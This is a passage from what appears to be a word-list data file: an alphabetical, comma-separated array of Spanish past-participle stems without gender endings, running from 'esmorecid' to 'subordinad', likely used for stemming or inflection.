","esmorecid","esnifad","espabilad","espachurrad","espaciad","espacializad","espantad","españolizad","esparcid","espartad","especiad","especializad","especificad","especulad","espejead","espeluznad","esperad","esperanzad","espesad","espetad","espiad","espichad","espigad","espinad","espirad","espiritualizad","esplanad","esplendid","esplicad","espolead","espoliad","espolvoread","esponjad","esponsorizad","espontanead","esposad","espresad","esprintad","espulgad","espumad","espumead","esputad","esquematizad","esquiad","esquilad","esquilmad","esquinad","esquinzad","esquivad","estabilizad","establecid","estabulad","estacad","estacionad","estacionalizad","estad","estafad","estallad","estampad","estampillad","estancad","estandarizad","estañad","estaquillad","estarcid","estatizad","estatuid","estelarizad","estendid","esterad","estercolad","estereotipad","esterificad","esterilizad","estetizad","estibad","estigmatizad","estilad","estilizad","estimad","estimulad","estipulad","estirad","estofad","estoquead","estorbad","estornudad","estozolad","estragad","estrangulad","estratificad","estrechad","estregad","estrellad","estremecid","estrenad","estreñid","estresad","estriad","estribad","estropead","estruchad","estructurad","estrujad","estucad","estudiad","esvarad","eterizad","eternizad","etimologizad","etiquetad","etoxilad","europeizad","euscaldunizad","euskaldunizad","evacuad","evadid","evaluad","evanescid","evangelizad","evaporad","evidenciad","eviscerad","evitad","evocad","evolucionad","exacerbad","exagerad","exaltad","examinad","exasperad","excarcelad","excavad","excedid","exceptuad","excitad","exclamad","exclaustrad","excluid","excomulgad","excoriad","excretad","exculpad","excusad","execrad","executad","exentad","exercitad","exfiltrad","exfoliad","exhalad","exhibid","exhortad","exhumad","exigid","exilad","exiliad","eximid","existid","existimad","exonerad","exorcizad","exornad","expandid","expansionad","expatriad","expectad","expectorad","expedicionad","expedid","expedientad","expeditad","expelid","expendid","experienciad","experimentad","expiad","expirad","explanad","explayad","explicad","explicitad","explorad","explosionad","explotad","expoliad","exponenciad","exportad","expresad","exprimid","expropiad","expuest","expugnad","expulsad","expurgad","extasiad","extendid","extenuad","exteriorizad","exterminad","externad","externalizad","extinguid","extirpad","extorsionad","extractad","extraditad","extraíd","extralimitad","extrañad","extrapolad","extravasad","extraviad","extremad","extrudid","extruid","extubad","exudad","exulcerad","exultad","eyaculad","eyectad","fabricad","fabulad","fachad","facilitad","factorizad","facturad","facultad","faenad","fagocitad","fajad","falagad","falcacead","faldead","fallad","fallecid","fallid","falsad","falsead","falsificad","faltad","familiarizad","fanatizad","fanfarronead","fantasead","fantasiad","fantasmead","farandulead","fardad","farfullad","farolead","farread","fascinad","fastidiad","fatigad","favelizad","favorecid","fech","fechad","fecundad","fecundizad","fedatad","fedatead","federad","federalizad","felicitad","femad","feminizad","fenecid","feriad","fermentad","ferrad","fertilizad","fervorizad","festejad","festinad","festonad","festonead","fetichizad","fiad","fibrilad","ficad","ficcionad","ficcionalizad","fichad","fidelizad","figurad","fijad","filad","fildead","filetead","filiad","filmad","filosofad","filtrad","finad","finalizad","financiad","fincad","fingid","finid","finiquitad","fintad","firmad","fiscalizad","fisgad","fisgonead","fisionad","fisurad","flagelad","flambead","flamead","flanquead","flaquead","flechad","fletad","flexead","flexibilizad","flexionad","flipad","flirtead","flojead","florad","floread","florecid","floretead","flotad","fluctuad","fluid","fluidizad","fluorad","focalizad","foguead","folgad","foliad","follad","folletead","fomentad","fondead","forcejad","forcejead","forestad","forjad","formad","formalizad","formatead","formulad","fornicad","forrad","forrajead","fortalecid","fortificad","forzad","fosfatad","fosfatizad","fosforecid","fosforescid","fosforilad","fosilizad","fotocopiad","fotografiad","fotoshopead","fracasad","fraccionad","fracturad","fragilizad","fragmentad","fraguad","franelead","frangid","franjead","franquead","franquiciad","frasead","fraternizad","frecuentad","fregad","fregotead","freíd","frenad","frentead","fresad","frezad","friccionad","frisad","frit","fritad","frivolizad","frizad","frotad","fructificad","fruid","fruncid","frustrad","frutad","fufad","fugad","fulgid","fulgurad","fulminad","fumad","fumblead","fumigad","funad","funcionad","fundad","fundamentad","fundid","fungid","fuñid","furtad","furulad","fusilad","fusionad","fustigad","gafad","gaguead","galantead","galardonad","galguead","gallardead","gallead","gallofead","galonead","galopad","galopead","galvanizad","gamberread","gambetead","ganad","gandujad","gandulead","gangrenad","ganguead","gañid","garabatead","garantid","garantizad","garapiñad","garbad","garchad","gargarizad","garlad","garpad","garrapatead","garrapiñad","garronead","garrotead","gasead","gasificad","gastad","gatead","gatillad","gayad","gelatinizad","gelificad","gemid","geminad","generad","generalizad","genotipad","gentrificad","geobloquead","geolocalizad","georeferenciad","georreferenciad","gerenciad","germanizad","germinad","gestad","gesticulad","gestionad","gibad","gilipollead","gimotead","girad","giroelongad","gitanead","glasead","globalizad","gloriad","glorificad","glosad","glotalizad","glotonead","gobernad","golead","golfead","golosead","golpead","golpetead","googlead","gorgotead","gorjead","gorread","gorronead","gostead","gotead","gozad","grabad","gradad","graduad","graffitead","graficad","grafitead","granad","granead","granizad","granjead","granulad","grapad","gratificad","gratinad","gravad","gravitad","graznad","grillad","griñotad","gripad","gritad","gruñid","guacaread","guadañad","guapead","guarachead","guardad","guarecid","guarid","guarnecid","guarnid","guasapead","guataquead","guayad","guerread","guglead","guiad","guillotinad","guinchad","guindad","guiñad","guionad","guionizad","guisad","guitarread","gulusmead","gustad","habid","habilitad","habitad","habituad","hablad","hacendad","hachad","hacinad","hackead","halad","halagad","hallad","halogenad","hamacad","hamaquead","hambread","hanguead","haraganead","hartad","hastiad","hech","hechizad","hedid","hegemonizad","helad","helenizad","helitransportad","henchid","hendid","heñid","herbad","herborizad","heredad","herid","hermanad","hermandad","hermetizad","hermosead","herniad","herrad","herrumbrad","hervid","hesitad","hibernad","hibridad","hidratad","hidrogenad","hidrolizad","higienizad","hilad","hilvanad","hincad","hinchad","hipad","hiperactivad","hiperbolizad","hipertrofiad","hiperventilad","hipnotizad","hipotecad","hipotetizad","hisopad","hispanizad","hispid","historiad","hocicad","hociquead","hojaldrad","hojead","holgad","holgazanead","hollad","hombread","homenajead","homogeneizad","homologad","homosexualizad","honestad","honorad","honrad","horadad","horizontalizad","hormigonad","hormiguead","hornead","horripilad","horrorizad","hospedad","hospitalizad","hostiad","hostigad","hostilizad","hozad","huevead","huid","humad","humanad","humanizad","humead","humectad","humedecid","humidificad","humillad","hundid","hurgad","huronead","hurtad","husmad","husmead","idead","idealizad","identificad","ideologizad","idiotizad","idolatrad","ignorad","igualad","ilegalizad","ilegitimad","iludid","iluminad","ilusionad","ilustrad","imaginad","imanad","imantad","imbecilizad","imbricad","imbuid","imitad","impacientad","impactad","impagad","impartid","impedid","impelid","impendid","imperad","impermeabilizad","impersonalizad","impetrad","implantad","implementad","implicad","implorad","implosionad","importad","importunad","imposibilitad","impostad","imprecad","impregnad","impres","impresionad","imprimad","imprimid","improbad","improvisad","impuest","impugnad","impulsad","impurificad","imputad","inactivad","inadmitid","inaugurad","incapacitad","incardinad","incautad","incendiad","incensad","incentivad","incidentad","incidid","incinerad","incitad","inclinad","incluid","incoad","incomodad","incomunicad","inconformad","incordiad","incorporad","incrementad","increpad","incriminad","incrustad","incubad","inculcad","inculpad","incumbid","incumplid","incurrid","incursionad","indagad","indemnizad","independizad","indexad","indicad","indiciad","indigestad","indignad","indisciplinad","indispuest","individualizad","indizad","inducid","indultad","industriad","industrializad","inejecutad","inervad","infamad","infantilizad","infartad","infatuad","infeccionad","infectad","inferid","infestad","infeudad","inficionad","infiltrad","inflacionad","inflad","inflamad","infligid","influenciad","influid","informad","informalizad","informatizad","infraccionad","infraexplotad","infrautilizad","infravalorad","infringid","infundid","infusionad","ingeniad","ingerid","ingresad","ingurgitad","inhabilitad","inhalad","inhibid","inhumad","iniciad","inicializad","injerid","injertad","injuriad","inmatriculad","inmigrad","inmiscuid","inmolad","inmortalizad","inmovilizad","inmunizad","inmutad","innovad","inobservad","inoculad","inquietad","inquinad","inquirid","inscript","inscrit","inseminad","insensibilizad","inserid","insertad","insidiad","insinuad","insistid","insolentad","insonorizad","inspeccionad","inspirad","instad","instalad","instanciad","instaurad","instigad","instilad","institucionalizad","instituid","instruid","instrumentad","instrumentalizad","insubordinad","insuflad","insultad","insumid","insurreccionad","integrad","inteligid","intencionad","intendid","intensificad","intentad","interaccionad","interactuad","intercalad","intercambiad","intercedid","interceptad","intercomunicad","interconectad","interconvertid","interdich","interesad","interferid","interfoliad","intergradad","interiorizad","interlocutad","intermediad","intermezclad","internacionalizad","internad","internalizad","interoperad","interpelad","interpolad","interpretad","interpuest","interrelacionad","interrogad","interrumpid","intersecad","intersectad","intervenid","intestad","intimad","intimidad","intitulad","intoxicad","intranquilizad","intricad","intrigad","intrincad","introducid","intrusad","intubad","intuid","inundad","inutilizad","invadid","invaginad","invalidad","invenid","inventad","inventariad","invernad","invertid","investid","investigad","inviabilizad","invisibilizad","invitad","invocad","involucionad","involucrad","inyectad","iñocid","ionizad","irisad","ironizad","irradiad","irrespetad","irrigad","irritad","irrogad","irrumpid","islamizad","italianizad","iterad","itinerad","izad","jabonad","jactad","jadead","jalad","jalbegad","jalead","jalonad","jalonead","jaquead","jaquid","jaranead","jaspead","jech","jerarquizad","jeringad","jibarizad","jimad","jinetead","jiñad","jodid","jonronead","jorobad","josead","jotead","jubilad","judaizad","judicializad","jugad","juguetead","jumad","juntad","jurad","juramentad","justad","justificad","justipreciad","juzgad","labializad","laborad","labrad","laburad","lacad","lacead","lacerad","lacrad","lacrimad","lactad","ladead","ladrad","lagartead","lagrimad","lagrimead","laicizad","lalad","lambid","lambiscad","lamentad","lamid","laminad","lampad","lampasead","lancead","languidecid","lanzad","lapidad","lapizad","laquead","largad","lascad","lastimad","lastrad","lateralizad","latid","latinad","latinizad","laudad","lauread","lavad","laxad","lazad","lechad","legad","legalizad","legislad","legitimad","legitimizad","leíd","lematizad","lengüetead","lentificad","leñad","lesead","lesionad","leudad","levad","levantad","levigad","levitad","lexicalizad","liad","libad","liberad","liberalizad","libertad","librad","licenciad","licitad","licuad","liderad","lideread","liderizad","lidiad","ligad","lignificad","lijad","likead","limad","limitad","limosnead","limpiad","linchad","lindad","linead","linealizad","liofilizad","liquenizad","liquidad","lisiad","lisonjead","listad","litad","litigad","litografiad","lixiviad","llagad","llamad","llamead","llavead","llegad","llenad","llevad","llorad","lloriquead","llovid","lloviznad","load","lobotomizad","localizad","locutad","logad","lograd","loguead","lonchead","loncotead","loquead","lotead","lotificad","lubricad","lubrificad","luchad","lucid","lucrad","ludid","ludificad","lustrad","luxad","macad","macerad","machacad","machad","machetead","machihembrad","machucad","macizad","macollad","maculad","madread","madrugad","madurad","magancead","magnetizad","magnificad","magread","magulad","magullad","maicead","majad","malabaread","malacostumbrad","malbaratad","malcriad","maldecid","maldit","malead","maleducad","maleficiad","malentendid","malfuncionad","malgastad","malherid","maliciad","malinformad","malinterpretad","mallad","malmatad","malograd","malparad","malparid","malpuest","malquerid","malquistad","maltead","maltraíd","maltratad","malvendid","malversad","malvivid","mamad","mamonead","mampostead","manad","mancad","manchad","mancillad","mancomunad","mancornad","mandad","mandatad","mandonead","mandrilad","manducad","manead","manejad","mangad","mangonead","manguead","maniatad","manifestad","maniobrad","manipulad","manosead","manotead","mantead","mantenid","manufacturad","manumitid","manuscript","manuscrit","manutenid","mañanead","mapead","mapuchizad","maquead","maquetad","maquilad","maquillad","maquinad","maravillad","marcad","marchad","marchitad","maread","marginad","marginalizad","maridad","marinad","mariposead","mariscad","marmolead","marrad","martillad","martillead","martirizad","masacrad","masad","masajead","mascad","mascujad","masculinizad","mascullad","masificad","masterizad","masticad","masturbad","matad","matasellad","matead","materializad","matizad","matonead","matraquead","matriculad","matrimoniad","maullad","maximizad","mayad","mazad","maznad","mead","mecanizad","mecanografiad","mecatead","mechad","mecid","mediad","mediatizad","medicad","medicalizad","medicinad","medid","meditad","medrad","mejorad","melad","melezinad","melgad","mellad","membretad","memorad","memorializad","memorizad","menad","mencionad","mendigad","menead","menguad","menoscabad","menospreciad","mensajead","menstruad","mensurad","mentad","mentalizad","mentid","mentorizad","menudead","menuzad","mercad","mercadead","mercantilizad","mercerizad","merecid","merendad","merengad","meritad","mermad","merodead","mesad","mestizad","mesturad","mesurad","metabolizad","metaforizad","metalizad","metamorfizad","metamorfosead","metastatizad","metastizad","meteorizad","metid","metilad","metodizad","metrificad","mexicanizad","mezclad","mezquinad","microfilmad","microfinanciad","microperforad","microscopiad","mielinizad","migad","migrad","militad","militarizad","mimad","mimeografiad","mimetizad","mimid","minad","mineralizad","miniad","miniaturizad","minimalizad","minimizad","ministerializad","ministrad","minorad","minusvalorad","mirad","misad","misionad","mistificad","mitificad","mitigad","mixturad","mocad","mochad","mochilead","mocionad","modelad","modelizad","moderad","modernizad","modificad","modorrad","modulad","modularizad","mofad","mojad","mojonad","mojonead","molad","moldad","moldead","moldurad","molestad","molid","molinad","momificad","mondad","monetarizad","monetizad","monitoread","monitorizad","monologad","monopolizad","montad","mopead","moquead","morad","moralizad","mordid","mordiscad","mordisquead","morfad","morigerad","morread","mortificad","moscad","mosquead","mostrad","mostread","motead","motejad","motivad","motorizad","movid","movilizad","mudad","muert","muertead","muestread","mufad","mugid","mulcid","muletead","mulgid","mullid","multad","multiplexad","multiplicad","mundializad","municionad","municipalizad","munid","muñid","murad","murmurad","musealizad","musicad","musicalizad","musid","musitad","mutad","mutilad","nacid","nacionalizad","nadad","nalguead","narcotizad","narrad","nasalizad","naturalizad","naufragad","navalizad","navegad","nebulizad","necead","necesitad","negad","negligid","negociad","negread","negrecid","negrificad","neocolonizad","neutralizad","nevad","neviscad","nidificad","nimbad","ningunead","niquelad","nitrificad","nivelad","nixtamalizad","nombrad","nominad","nominalizad","noquead","normad","normalizad","normativizad","notad","notariad","notarizad","noticiad","notificad","novad","novelad","novelizad","noviad","nublad","nuclead","nudrid","nukead","nulificad","numerad","nutrid","ñangotad","ñoñead","obcecad","obedecid","obispad","objetad","objetivad","obligad","obliterad","obnubilad","obrad","obscurecid","obsequiad","observad","obsesionad","obstaculizad","obstad","obstinad","obstruid","obtenid","obturad","obviad","ocasionad","occidentalizad","ocluid","ocultad","ocupad","ocurrid","odiad","ofendid","ofertad","oficiad","oficializad","ofrecid","ofrendad","ofuscad","oíd","ojead","okupad","olead","olfatead","olid","oliscad","olisquead","olvidad","ominad","omitid","ondead","ondulad","opacad","operad","operativizad","opinad","opositad","opresad","oprimid","optad","optimad","optimizad","opuest","opugnad","orad","oralizad","orbitad","ordenad","ordeñad","oread","organizad","orientad","orientalizad","originad","orillad","orinad","orlad","ornad","ornamentad","orquestad","ortigad","osad","oscilad","oscurecid","osead","osificad","ostentad","otad","otead","otorgad","ovacionad","ovad","ovillad","ovulad","oxead","oxidad","oxigenad","pacid","pacificad","pactad","padecid","pagad","paginad","pajaread","pajaronead","pajead","palabread","paladead","palatalizad","palead","paletizad","paliad","palidecid","paliquead","pallad","palmad","palmead","palmotead","palpad","palpitad","pandead","paniaguad","papad","parabolizad","parad","parafrasead","paralelad","paralelizad","paralizad","parametrad","parametrizad","parangonad","parapetad","parapetead","parasitad","parcelad","parchad","parchead","parcializad","paread","parecid","parid","parlad","parlamentad","parlotead","parodiad","parpad","parpadead","parquead","parquizad","partead","particionad","participad","particularizad","partid","partidizad","pasad","pasead","pasmad","pastad","pastead","pastelead","pasterizad","pasteurizad","pastoread","patalead","patead","patentad","patentizad","patinad","patologizad","patrimonializad","patrocinad","patronead","patrullad","patullad","pauperizad","pausad","pautad","pavimentad","pavonad","pavonead","payasead","peatonalizad","pecad","pechad","pedalead","pedid","pedorread","pegad","pegotead","peíd","peinad","pelad","pelead","pelechad","peletizad","peligrad","pellizcad","pelotead","peluquead","penad","penalizad","pendejead","pendid","pendonead","penetrad","penitenciad","pensad","pensionad","pepead","pepenad","peraltad","percatad","perchad","percibid","percolad","percudid","percutad","percutid","perdid","perdonad","perdurad","perecead","perecid","peregrinad","perennizad","perfeccionad","perfilad","perforad","performad","perfumad","pergeñad","periclitad","perifonead","perimetrad","periodizad","peritad","perjudicad","perjurad","perlad","permanecid","permeabilizad","permead","permitid","permutad","pernead","pernoctad","peronizad","perorad","perpetrad","perpetuad","perquirid","perread","perseguid","perseverad","persignad","persistid","personad","personalizad","personificad","persuadid","pertenecid","pertenid","pertrechad","perturbad","pervertid","pervivid","pesad","pescad","pescuecead","pespuntad","pespuntead","pesquisad","pestañead","petad","petardead","petead","peticionad","petrificad","photoshopead","piad","piafad","pialad","picad","pichad","pichicatead","pichulead","picotead","pifead","pifiad","pigmentad","pignorad","pilad","pillad","pilotad","pilotead","pimplad","pincelad","pinchad","pingad","pintad","pintarrajead","pintead","pintorread","pintorretead","pinzad","pipad","pipiad","piquetead","pirad","piratead","pirograbad","piropead","pirrad","pisad","pisotead","pispad","pispead","pistead","pitad","pitchead","pitorread","pivotad","pivotead","pixelad","pizcad","placad","placead","placid","plagad","plagiad","planchad","planchead","planead","planificad","planillad","plantad","plantead","plañid","plasmad","plastificad","platead","platicad","plebiscitad","plegad","pleitead","plisad","plorad","pluralizad","pluriemplead","plurinacionalizad","poblad","pochad","pochead","podad","podemizad","podid","podrid","poetizad","polarizad","polemizad","policromad","polid","polimerizad","polinizad","politiquead","politizad","pololead","ponchad","ponderad","pontificad","ponzoñad","popularizad","pordiosead","porfiad","pormenorizad","portad","portead","posad","poseíd","posesionad","posibilitad","posicionad","positivad","pospuest","postead","postensad","postergad","postpuest","postrad","postulad","posturead","potabilizad","potad","potenciad","potencializad","practicad","pread","preagrupad","prealimentad","preanunciad","preaprobad","prearmad","preavisad","prebendad","precalentad","precalificad","precargad","precarizad","precautelad","precavid","precedid","preceptuad","preciad","precintad","precipitad","precisad","precocid","precocinad","precompilad","precomprad","preconcebid","preconfigurad","preconizad","preconocid","preconstituid","preconvocad","predad","predestinad","predeterminad","predicad","predich","prediseñad","predispuest","predominad","preelaborad","preenvasad","preestablecid","preestrenad","preferid","prefigurad","prefijad","preformad","pregad","pregonad","preguntad","pregustad","preinscript","preinscrit","preinstalad","prejubilad","prejuiciad","prejuzgad","preludiad","premeditad","premiad","premostrad","premuert","prenasalizad","prendad","prendid","prensad","preñad","preocupad","preordenad","prepagad","preparad","prepintad","preponderad","preprogramad","presagiad","prescindid","prescript","prescrit","preseleccionad","presenciad","presentad","presentid","preservad","presidid","presionad","presolicitad","prestad","prestigiad","presumid","presupuest","presupuestad","presurizad","pretendid","pretensad","preterid","pretermitid","pretextad","prevalecid","prevalid","prevaricad","prevenid","previsionad","previst","previsualizad","primad","principalizad","principiad","pringad","priorizad","privad","privatizad","privilegiad","probad","problematizad","procedid","procesad","procesionad","proclamad","procrastinad","procread","procurad","prodigad","producid","profanad","proferid","profesad","profesionalizad","profetizad","profugad","profundad","profundizad","programad","progresad","prohibid","prohijad","proletarizad","proliferad","prologad","prolongad","promediad","promesad","prometid","promiscuad","promocionad","promovid","promulgad","pronominalizad","pronosticad","pronunciad","propagad","propalad","propasad","propendid","propiciad","propinad","proporcionad","propuest","propugnad","propulsad","prorratead","prorrogad","prorrumpid","proscript","proscrit","proseguid","prospectad","prosperad","prosternad","prostituid","protagonizad","protegid","protestad","protocolizad","protonad","prototipad","protruid","proveíd","provenid","provincializad","provisionad","provist","provocad","proyectad","psicoanalizad","publicad","publicitad","puentead","puest","pugnad","pujad","pulid","pulimentad","pulsad","pulsead","pululad","pulverizad","punchad","puncionad","pungid","punid","puntad","puntead","puntuad","puntualizad","punzad","punzonad","puñad","puñetead","purgad","purificad","purpurad","putañead","putead","puyad","quebrad","quebrantad","quedad","quejad","quelad","quemad","querellad","querid","quietad","quilatad","quimbad","quintaesenciad","quintuplicad","quitad","rabead","rabiad","racanead","racializad","raciocinad","racionad","racionalizad","radiad","radicad","radicalizad","radiodifundid","radiografiad","rafaguead","raíd","rajad","rajuñad","ralbad","ralead","ralentizad","rallad","ramblead","ramificad","ramonead","rancad","ranchad","ranchead","randomizad","rankead","ranquead","ranurad","rapad","rapead","rapiñad","raptad","raquead","rarificad","rasad","rascad","rascañad","rascuñad","rasgad","rasguead","rasguñad","raspad","rasquetead","rasterizad","rastrad","rastread","rastrillad","rasurad","ratead","ratificad","ratonad","rayad","razonad","reabastecid","reabiert","reabsorbid","reaccionad","reacomodad","reacondicionad","reactivad","reactualizad","readaptad","readecuad","readiestrad","readmitid","readquirid","reafirmad","reagrupad","reajustad","realimentad","realinead","realistad","realizad","realojad","realquilad","realzad","reanimad","reanudad","reaparecid","reaplicad","reaprendid","reaprovechad","reaprovisionad","reargüid","rearmad","rearticulad","reasegurad","reasentad","reasfaltad","reasignad","reasumid","reatad","reautorizad","reavivad","rebajad","rebalancead","rebalsad","rebanad","rebañad","rebasad","rebatad","rebatid","rebautizad","rebelad","reblandecid","rebobinad","rebordad","rebordead","rebosad","rebotad","rebozad","rebramad","rebrillad","rebrincad","rebrotad","rebullid","rebuscad","rebuznad","recabad","recaíd","recalad","recalcad","recalculad","recalendarizad","recalentad","recalibrad","recalificad","recamad","recapacitad","recapitalizad","recapitulad","recapturad","recargad","recatad","recatead","recategorizad","recauchutad","recaudad","recebid","recelad","recentad","recentralizad","recepcionad","receptad","recercad","recertificad","recesad","recetad","rechazad","rechinad","rechistad","recibid","reciclad","reciprocad","recirculad","recitad","reclamad","reclasificad","reclinad","recluid","reclutad","recobrad","recochinead","recocid","recocinad","recodad","recodificad","recogid","recolad","recolectad","recolegid","recolocad","recolonizad","recombinad","recomendad","recomenzad","recompensad","recompilad","recomprad","recompuest","reconcentrad","reconceptualizad","reconciliad","reconcomid","reconducid","reconectad","reconfigurad","reconfirmad","reconfortad","reconocid","reconquistad","reconsagrad","reconsiderad","reconstituid","reconstruid","recontad","recontextualizad","recontratad","reconvenid","reconvertid","recopilad","recordad","recorrid","recortad","recosid","recostad","recovad","recread","recrecid","recriad","recriminad","recristalizad","recrudecid","rectificad","rectorad","recuadrad","recubiert","recudid","reculad","recuperad","recurrid","recurvad","recusad","redactad","redargüid","redecorad","rededicad","redefinid","redemocratizad","redenominad","redensificad","redescript","redescrit","redescubiert","redesignad","redibujad","redich","redimensionad","redimid","redireccionad","redirigid","rediscutid","rediseñad","redistribuid","redituad","redoblad","redondead","reducid","redundad","reedificad","reeditad","reeducad","reelaborad","reelect","reelegid","reembarcad","reembolsad","reemitid","reemplazad","reemprendid","reenamorad","reencaminad","reencantad","reencarnad","reencauzad","reencontrad","reencuadernad","reenergizad","reenfocad","reenganchad","reensamblad","reenterrad","reentrad","reentrenad","reenvasad","reenviad","reequilibrad","reequipad","reescript","reescrit","reestabilizad","reestablecid","reestatizad","reestilizad","reestrenad","reestructurad","reevaluad","reexaminad","reexpedid","refaccionad","refacturad","refanfinflad","referenciad","referid","refigurad","refilad","refinad","refinanciad","reflectad","reflejad","reflexionad","reflotad","refluid","refocilad","reforestad","reforjad","reformad","reformalizad","reformatead","reformulad","reforzad","refotografiad","refractad","refregad","refreíd","refrenad","refrendad","refrescad","refrigerad","refrit","refugiad","refulgid","refundad","refundid","refunfuñad","refutad","regad","regalad","regalonead","regañad","regatead","regazad","regenerad","regentad","regentead","regid","regimentad","regionalizad","registrad","reglad","reglamentad","regobernad","regocijad","regodead","regoldad","regrabad","regresad","reguetonead","regulad","regularizad","regurgitad","rehabilitad","rehech","rehidratad","rehilad","rehogad","rehuid","rehundid","rehusad","reíd","reimaginad","reimplantad","reimpres","reimprimid","reimpuest","reimpulsad","reinad","reinaugurad","reincidid","reincorporad","reindustrializad","reingresad","reiniciad","reinscript","reinscrit","reinsertad","reinstalad","reinstaurad","reinstitucionalizad","reintegrad","reintensificad","reintentad","reinterpretad","reintroducid","reinventad","reinvertid","reiterad","reivindicad","rejuvenecid","relacionad","relajad","relamid","relampaguead","relanzad","relatad","relativizad","relegad","relegitimad","releíd","relevad","religad","relinchad","rellamad","rellenad","relocalizad","relojead","reluchad","relucid","relumbrad","remachad","remad","remangad","remansad","remanufacturad","remarcad","remasterizad","rematad","rembolsad","remecid","remedad","remediad","rememorad","remendad","remezclad","remirad","remitid","remixad","remodelad","remojad","remolcad","remoldead","remolinead","remolonead","remontad","remordid","remotorizad","removid","remozad","remplazad","rempujad","remudad","remunerad","remusgad","renacid","renacionalizad","renderizad","rendid","renegad","renegociad","renguead","renombrad","renovad","renquead","rentabilizad","rentad","renumerad","renunciad","reñid","reocupad","reordenad","reorganizad","reorientad","repagad","repanchigad","repantigad","repantingad","reparad","repartid","repasad","repatead","repatriad","repautad","repavimentad","repechad","repelad","repelid","repensad","repentizad","repercutid","reperfilad","repescad","repetid","repicad","repintad","repiquetead","repisad","replantad","replantead","replegad","repletad","replicad","repoblad","repolarizad","repolitizad","repollad","reportad","reportead","reposad","reposicionad","repostad","repostead","repostulad","repotenciad","repreguntad","reprehendid","reprendid","represad","represaliad","representad","reprimid","reprobad","reprocesad","reprochad","reproducid","reprogramad","reptad","republicad","repudiad","repuest","repugnad","repujad","repulsad","repuntad","reputad","requebrad","requemad","requerid","requintad","requisad","resabid","resacad","resaltad","resanad","resarcid","resbalad","rescaldad","rescatad","rescindid","rescript","resecad","resellad","resemblad","resembrad","resentid","reseñad","reservad","resetead","resfriad","resguardad","residenciad","residid","resignad","resignificad","resincronizad","resintonizad","resistid","resituad","resobad","resocializad","resollad","resonad","resondrad","resoplad","resorbid","respaldad","respectad","respetad","respingad","respirad","resplandecid","respondid","responsabilizad","resquebrad","resquebrajad","restablecid","restad","restallad","restañad","restaurad","restead","restituid","restregad","restringid","restructurad","resucitad","resuelt","resultad","resumid","resurgid","retad","retardad","retemblad","retemplad","retenid","reteñid","retimbrad","retipificad","retirad","retitulad","retocad","retomad","retoñad","retorcid","retornad","retortijad","retozad","retractad","retraducid","retraíd","retranquead","retransmitid","retrasad","retrasmitid","retratad","retrepad","retribuid","retroalimentad","retrocad","retrocedid","retrogradad","retroiluminad","retrotraíd","retrovendid","retrucad","retuitead","retumbad","retundid","retwitead","retwittead","reubicad","reunid","reunificad","reurbanizad","reusad","reutilizad","revacunad","revalidad","revalorad","revalorizad","revaluad","revelad","revencid","revendid","revenid","reventad","reverberad","reverdecid","reverenciad","reversad","reversionad","revertid","revesad","revestid","revictimizad","revinculad","revirad","revisad","revisionad","revisitad","revist","revistad","revitalizad","revivid","revivificad","revocad","revolad","revolcad","revolead","revolotead","revolucionad","revuelt","rezad","rezagad","rezongad","rezumad","rezurcid","ribetead","ridiculizad","rielad","rifad","rilad","rimad","rimbombad","ringad","ripead","ripiad","ripostad","ritualizad","rivalizad","rizad","robad","robotizad","robustecid","rochad","rociad","rockanrolead","rockead","rodad","rodead","rogad","roíd","rojead","rolad","romancead","romanizad","romantizad","romanzad","rompid","roncad","rondad","ronead","ronronead","ronzad","rootead","roquead","roscad","rosead","rostizad","rot","rotad","rotomoldead","rotulad","roturad","rozad","ruborizad","rubricad","rugad","rugid","ruinad","rulad","rumbead","rumbiad","rumiad","rumorad","rumoread","runrunead","ruralizad","rusificad","rusticad","rutead","rutilad","sabid","sablead","saboread","saborizad","sabotead","sacad","sacarificad","sachad","saciad","sacodid","sacralizad","sacramentad","sacrificad","sacudid","saetad","saetead","sahumad","sajad","salad","salariad","saldad","salid","salinizad","salivad","sallad","salmodiad","salpicad","salpimentad","salpresad","salsead","saltad","saltead","saludad","salvad","salvaguardad","sambenitad","samplead","sanad","sancionad","sancochad","sandunguead","sanead","sangrad","sanitizad","sanjad","santificad","santiguad","sapead","saponificad","saquead","sargentead","sarmentad","satanizad","satinad","satirizad","satisfech","saturad","sazonad","secad","seccionad","secretad","secretead","sectorizad","secuenciad","secuestrad","secularizad","secundad","sedad","sedentarizad","sedimentad","seducid","segad","segmentad","segregad","seguid","segundad","segurad","seleccionad","selfiad","sellad","semaforizad","semblad","sembrad","semejad","sementad","sensibilizad","sentad","sentenciad","sentid","señad","señalad","señalizad","señoread","separad","sepultad","sequestrad","serenad","seriad","serializad","serigrafiad","sermonead","serpead","serpentead","serrad","serruchad","servid","sesead","sesgad","sesionad","sestead","setead","sexad","sextuplicad","sexualizad","shockead","sicoanalizad","sid","sigilad","signad","significad","silabad","silabead","silbad","silenciad","siluetead","simbolizad","simpatizad","simplificad","simulad","simultanead","sincerad","sincopad","sincretizad","sincronizad","sindicad","sindicalizad","singad","singularizad","sinonimizad","sinterizad","sintetizad","sintonizad","sirgad","sisad","sisead","sistematizad","sitiad","situad","sobad","sobajad","sobornad","sobrad","sobreactuad","sobrealimentad","sobreasad","sobrecalentad","sobrecargad","sobrecogid","sobreconsumid","sobrecumplid","sobredemandad","sobredeterminad","sobredimensionad","sobredorad","sobredosificad","sobreentendid","sobreescript","sobreescrit","sobreestimad","sobreestimulad","sobreexcitad","sobreexplotad","sobreexpresad","sobreexpuest","sobregirad","sobregrabad","sobreimpres","sobreimprimid","sobreinfectad","sobrellenad","sobrellevad","sobremedicad","sobrenadad","sobrentendid","sobrepasad","sobrepoblad","sobreprotegid","sobrepuest","sobrepujad","sobrerreaccionad","sobrerrepresentad","sobresalid","sobresaltad","sobresaturad","sobrescript","sobrescrit","sobreseíd","sobrestimad","sobrevalorad","sobrevaluad","sobrevenid","sobrevirad","sobrevivid","sobrevolad","socarrad","socavad","sociabilizad","socializad","socorrid","sodomizad","sofisticad","sofocad","sofreíd","sofrenad","sofrit","soguead","sojuzgad","solad","solapad","solarizad","solazad","soldad","solead","solemnizad","solevad","solfead","solicitad","solid","solidad","solidarizad","solidificad","soliviantad","sollozad","soltad","solubilizad","solucionad","solventad","somatizad","sombrad","sombread","sometid","somorgujad","sompesad","sonad","sondad","sondead","sonorizad","sonreíd","sonrojad","sonrosad","sonsacad","soñad","sopad","sopesad","soplad","soportad","sorbid","sorprendid","sortead","sosegad","soslayad","sospechad","sostenid","sotad","soterrad","stalkead","suavizad","subalimentad","subalquilad","subalternizad","subarrendad","subastad","subclasificad","subcontratad","subdividid","subducid","subentendid","subestimad","subid","sublevad","sublimad","subministrad","subordinad